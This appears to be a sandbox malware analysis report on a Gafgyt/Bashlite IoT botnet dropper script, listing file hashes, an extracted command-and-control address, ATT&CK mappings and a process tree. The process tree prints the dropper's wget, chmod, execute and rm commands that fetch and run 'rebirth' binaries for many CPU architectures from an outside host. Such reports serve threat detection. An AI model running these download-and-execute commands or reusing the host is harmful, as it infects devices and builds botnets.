gafgyt | d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95

Analysis

max time kernel
104s
max time network
115s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
14-12-2024 10:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

1KB
MD5

ea40c6fc574ca6806883d693a8afa0b8
SHA1

ffa5c5e27f079da0e2928b589cd629b24541e0f0
SHA256

d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95
SHA512

d548f484d081bcd697c3fc6f677bfdb1a41bfc1ea533d699f272ac73ddcb755489a25f2a9bc20ddae554cfa199dd4afab31c90af655ff3175acd15f529aca0a3

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

93.123.85.5:666

Signatures

Detected Gafgyt variant 1 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod
733	chmod
754	chmod
760	chmod
804	chmod
790	chmod
810	chmod
660	chmod
674	chmod
681	chmod
702	chmod
718	chmod
774	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/rebirth.arm4	662	rebirth.arm4

Reads system routing table 1 TTPs 4 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	rebirth.arm4
File opened for reading	/proc/net/route	rebirth.arm4t
File opened for reading	/proc/net/route	rebirth.arm5
File opened for reading	/proc/net/route	rebirth.arm6

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	rebirth.arm4t
File opened for reading	/proc/net/route	rebirth.arm5
File opened for reading	/proc/net/route	rebirth.arm6
File opened for reading	/proc/net/route	rebirth.arm4

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
723	wget
735	rebirth.mips
739	rm

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rebirth.arm5	wget
File opened for modification	/tmp/rebirth.i686	wget
File opened for modification	/tmp/rebirth.m68	wget
File opened for modification	/tmp/rebirth.mips	wget
File opened for modification	/tmp/rebirth.ppc	wget
File opened for modification	/tmp/rebirth.spc	wget
File opened for modification	/tmp/rebirth.arm4t	wget
File opened for modification	/tmp/rebirth.arm6	wget
File opened for modification	/tmp/rebirth.mpsl	wget
File opened for modification	/tmp/rebirth.x86	wget
File opened for modification	/tmp/rebirth.sh4	wget
File opened for modification	/tmp/rebirth.arm4	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:641
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.arm4
  2⤵
  - Writes file to tmp directory
  PID:643
- /bin/chmod
  chmod +x rebirth.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:660
- /tmp/rebirth.arm4
  ./rebirth.arm4
  2⤵
  - Executes dropped EXE
  - Reads system routing table
  - Reads system network configuration
  PID:662
- /bin/rm
  rm -rf rebirth.arm4
  2⤵
  PID:666
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.arm4t
  2⤵
  - Writes file to tmp directory
  PID:667
- /bin/chmod
  chmod +x rebirth.arm4t
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/rebirth.arm4t
  ./rebirth.arm4t
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:675
- /bin/rm
  rm -rf rebirth.arm4t
  2⤵
  PID:678
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.arm5
  2⤵
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod +x rebirth.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/rebirth.arm5
  ./rebirth.arm5
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:682
- /bin/rm
  rm -rf rebirth.arm5
  2⤵
  PID:685
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.arm6
  2⤵
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod +x rebirth.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/rebirth.arm6
  ./rebirth.arm6
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:691
- /bin/rm
  rm -rf rebirth.arm6
  2⤵
  PID:695
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.i686
  2⤵
  - Writes file to tmp directory
  PID:696
- /bin/chmod
  chmod +x rebirth.i686
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/rebirth.i686
  ./rebirth.i686
  2⤵
  PID:704
- /bin/rm
  rm -rf rebirth.i686
  2⤵
  PID:706
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.m68
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod +x rebirth.m68
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/rebirth.m68
  ./rebirth.m68
  2⤵
  PID:719
- /bin/rm
  rm -rf rebirth.m68
  2⤵
  PID:721
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod +x rebirth.mips
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/rebirth.mips
  ./rebirth.mips
  2⤵
  - System Network Configuration Discovery
  PID:735
- /bin/rm
  rm -rf rebirth.mips
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.mpsl
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod +x rebirth.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/rebirth.mpsl
  ./rebirth.mpsl
  2⤵
  PID:755
- /bin/rm
  rm -rf rebirth.mpsl
  2⤵
  PID:758
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.ppc
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod +x rebirth.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/rebirth.ppc
  ./rebirth.ppc
  2⤵
  PID:761
- /bin/rm
  rm -rf rebirth.ppc
  2⤵
  PID:763
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.spc
  2⤵
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod +x rebirth.spc
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/rebirth.spc
  ./rebirth.spc
  2⤵
  PID:775
- /bin/rm
  rm -rf rebirth.spc
  2⤵
  PID:778
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.x86
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod +x rebirth.x86
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/rebirth.x86
  ./rebirth.x86
  2⤵
  PID:792
- /bin/rm
  rm -rf rebirth.x86
  2⤵
  PID:795
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.sh4
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod +x rebirth.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/rebirth.sh4
  ./rebirth.sh4
  2⤵
  PID:806
- /bin/rm
  rm -rf rebirth.sh4
  2⤵
  PID:808
- /usr/bin/wget
  wget http://93.123.85.5/rebirth.arm7
  2⤵
  PID:809
- /bin/chmod
  chmod +x rebirth.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/rebirth.arm7
  ./rebirth.arm7
  2⤵
  PID:811
- /bin/rm
  rm -rf rebirth.arm7
  2⤵
  PID:812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/rebirth.arm4

Filesize
108KB

MD5
b74f3701eeb8973108ae472f2819d0cb

SHA1
98bf303a7888507d583f4a8e4bad73774920b7c3

SHA256
b62a5dcd0a95f79ad425c6e2a6180e48ada7c566540902a70148165f4df32ec4

SHA512
8526e6a47c25af114a433a4ff49ab135066de835e86c2f36a1fb4e8a7b20b1b7688b588cc53e5e66749f566058e5df4cf54fc02bc726a5c40b6fe74671562b98

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads